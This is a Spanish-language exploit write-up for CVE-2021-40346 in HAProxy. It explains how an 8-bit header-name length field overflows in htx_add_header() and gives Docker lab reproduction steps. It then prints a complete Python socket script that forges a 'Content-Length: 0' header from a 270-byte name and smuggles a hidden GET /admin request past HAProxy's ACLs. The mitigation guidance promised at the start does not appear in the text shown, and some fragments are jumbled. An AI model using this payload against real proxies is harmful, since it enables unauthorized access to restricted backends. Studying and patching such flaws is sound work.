
Exploit PoC para CVE-2021-40346: desbordamiento de enteros en HAProxy que permite contrabando de solicitudes HTTP y evasión de ACL. Incluye análisis, pasos de reproducción y orientación de mitigación.
htx_add_header() que almacena encabezados HTTP en el formato interno HTX.http-requestpath_beg /adminCuando HAProxy almacena encabezados HTTP en el formato interno HTX, registra la longitud del nombre del encabezado en un campo de 8 bits (máximo 255). La función htx_add_header() carece de lógica para validar esta longitud, por lo que al enviar un nombre de más de 256 bytes se produce un desbordamiento de enteros y los bits desbordados se filtran al campo adyacente de longitud de valor.
Si se crea un nombre de encabezado de exactamente 270 bytes (270 mod 256 = 14), HAProxy lo interpreta como "Content-Length" (14 caracteres) y lee el byte contaminado por el desbordamiento como el valor. Si se coloca "0" en esa posición, se crea un encabezado Content-Length: 0 falsificado.
Si después de este encabezado falsificado se envía el encabezado Content-Length real, HAProxy adopta el primero (el falsificado 0) y descarta el real. El proceso de lectura del cuerpo real desde el cliente funciona correctamente según el texto original, pero el encabezado que se pasa al backend contiene el valor falsificado (0), lo que provoca una discrepancia entre el "tamaño real del cuerpo recibido" y el "tamaño notificado al backend".
El backend confía en el valor notificado (0) y considera que la solicitud ha terminado, luego reinterpreta los datos que eran el cuerpo original como una solicitud completamente nueva. Dado que la ACL de HAProxy solo se evalúa antes, en la línea de solicitud inicial, la segunda solicitud oculta no es inspeccionada y llega al backend. Como resultado, todas las ACL http-request configuradas son omitidas.
Ejecute docker compose up --build -d para iniciar el entorno de prueba vulnerable (haproxy ver.2.2.16 / backend: gunicorn).
Pruebe la activación de HAProxy y el servidor backend con el siguiente código:
until curl -s -o /dev/null http://localhost:8080/; do sleep 1; done
echo "준비 완료"
Ejecute el código PoC: python3 poc.py --host 127.0.0.1 --port 8080
Verifique mediante los registros de acceso del backend con docker logs cve-2021-40346-backend --tail 5 si la solicitud /admin fue realmente procesada.
import socket
HOST = "127.0.0.1"
PORT = 8080
# 이름을 270바이트로 만들면 8비트 이름 길이 필드가 오버플로우되어
# HAProxy가 이걸 "Content-Length: 0" 헤더로 착각한다.
fake_name = b"Content-Length" + b"0" + b"a" * 255 # 14 + 1 + 255 = 270 bytes
hidden_request = b"GET /admin HTTP/1.1\r\nHost: abc.com\r\nConnection: close\r\n\r\n"
payload = (
b"POST / HTTP/1.1\r\n"
b"Host: abc.com\r\n"
+ fake_name + b":\r\n"
+ b"Content-Length: " + str(len(hidden_request)).encode() + b"\r\n"
b"\r\n"
+ hidden_request
)
with socket.create_connection((HOST, PORT), timeout=5) as s:
s.sendall(payload)
print(s.recv(4096).decode(errors="replace"))
Como se muestra arriba, el backend procesa una solicitud GET a admin, cuyo acceso está restringido.
htx_add_header()).